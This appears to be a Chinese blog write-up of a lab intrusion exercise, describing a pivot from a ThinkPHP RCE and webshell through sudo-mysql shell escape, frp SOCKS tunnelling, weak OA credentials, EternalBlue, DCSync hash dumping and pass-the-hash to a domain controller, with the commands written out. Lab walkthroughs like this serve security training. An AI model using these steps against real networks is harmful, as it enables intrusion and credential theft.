[春秋云境]Initial

最新推荐文章于 2024-09-09 15:31:39 发布
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分类专栏： 春秋云境打靶 文章标签： web安全
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本文链接：https://blog.csdn.net/weixin_73307794/article/details/140962166
版权

flag01

访问靶机后有如下

image.png

信息搜集

title图标一眼顶针tp，fscan扫出来是tp5.23 rce漏洞
cf9c46dea116d1908ad7185111994eb.png
image.png
写🐎然后蚁剑

蚁剑

image.png

无密码执行mysql

image.png
发现无密码执行mysql，利用这个执行命令
查找flag

sudo mysql -e '\! find / -name flag*'

然后直接cat flag

sudo mysql -e '\! cat /root/flag/flag01.txt'

拿到第一段flag

flag01: flag{60b53231-

继续信息搜集

flag02

image.png
发现内网网段，直接fscan
image.png

image.png
fscan之后发现信呼OA，尝试进行内网穿透

frp搭建

frpc.ini

[common]
server_addr = [服务器ip]
server_port = 7000

[socks5_to_2] 
type = tcp
remote_port = 10088
plugin = socks5

在客户机启动

./frpc -c frpc.ini

frps.ini

[common]

Bind_addr = 0.0.0.0

bind_port = 7000

在服务器启动

./frps -c frps.ini

socks5连接

[服务器ip]:[remote_port]
[服务器ip]:10088

在这里我使用了proxifier来代理到全局
image.png
然后同时使用
image.png
来到我的kali

信呼OA – 172.22.1.18

admin/admin123登录后进行文件上传
得到
image.png
然后直接蚁剑连接
连接上之后在C:/Users/Administrator/flag/flag02.txt发现flag，进行一个flag2的读取
image.png

flag03

永恒之蓝 – 172.22.1.21 -> 172.22.1.16

我们直接用proxychain4去启动msfconsole
然后丝滑小连招拿到蓝的meterpreter
通过dir C:/Users/Administrator发现这个机器上并没有flag，于是听晨曦✌说有可能是要pth去拿到DC那台机子的shell，所以flag3有可能在DC那里，然后直到这里我才发现flag02的提示说flag03在domain controller里
那我们直接抓哈希

load kiwi

kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

image.png
这样我们就拿到了administrator的hash
之后我们直接使用kali中的

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "dir"

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image.png
这样我们就拿到了最后一部分flag
那么就到此为止啦

反思

其实按照自己的进度来说还是总体比较顺利，之前学域的时候顾着理论而没有注重实践，这个靶机的pth狠狠提醒了我一手

c-fault
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siu~
08-29 1496
红蓝对抗重点OA系统漏洞利用工具新年贺岁版V2.0的设计中旨是为了帮助各位师傅在渗透测试和挖洞中以及攻防演练中能够快速对OA系统进行快速定位进行漏洞检测和利用.,目前已实现20款OA系统的漏洞检测和利用，共133个漏洞.听说day一打一个准,也欢迎各位师傅补充漏洞和反馈误报,我们将积极作出调整和完善.
verilog initial
08-14
Verilog `initial` is a keyword used to define a block of code that will be executed once at the beginning of the simulation. It is commonly used to initialize variables and perform any necessary setup tasks before the main simulation starts. The `initial` block runs concurrently with other procedural blocks in the design. Here's an example of how `initial` is used in Verilog: ```verilog module Example; reg clk; reg [7:0] count; initial begin clk = 0; count = 0; #10; // wait for 10 time units while(count < 8) begin #5; // wait for 5 time units count = count + 1; end $finish; // end simulation end always begin #1; // wait for 1 time unit clk = ~clk; end endmodule ``` In this example, the `initial` block initializes the `clk` and `count` variables. It then waits for 10 time units before entering a loop that increments `count` by 1 every 5 time units. Once `count` reaches 8, the simulation is ended using the `$finish` system function. The `always` block toggles the `clk` signal every 1 time unit. Note that `initial` blocks are not synthesizable and are only used for simulation purposes.
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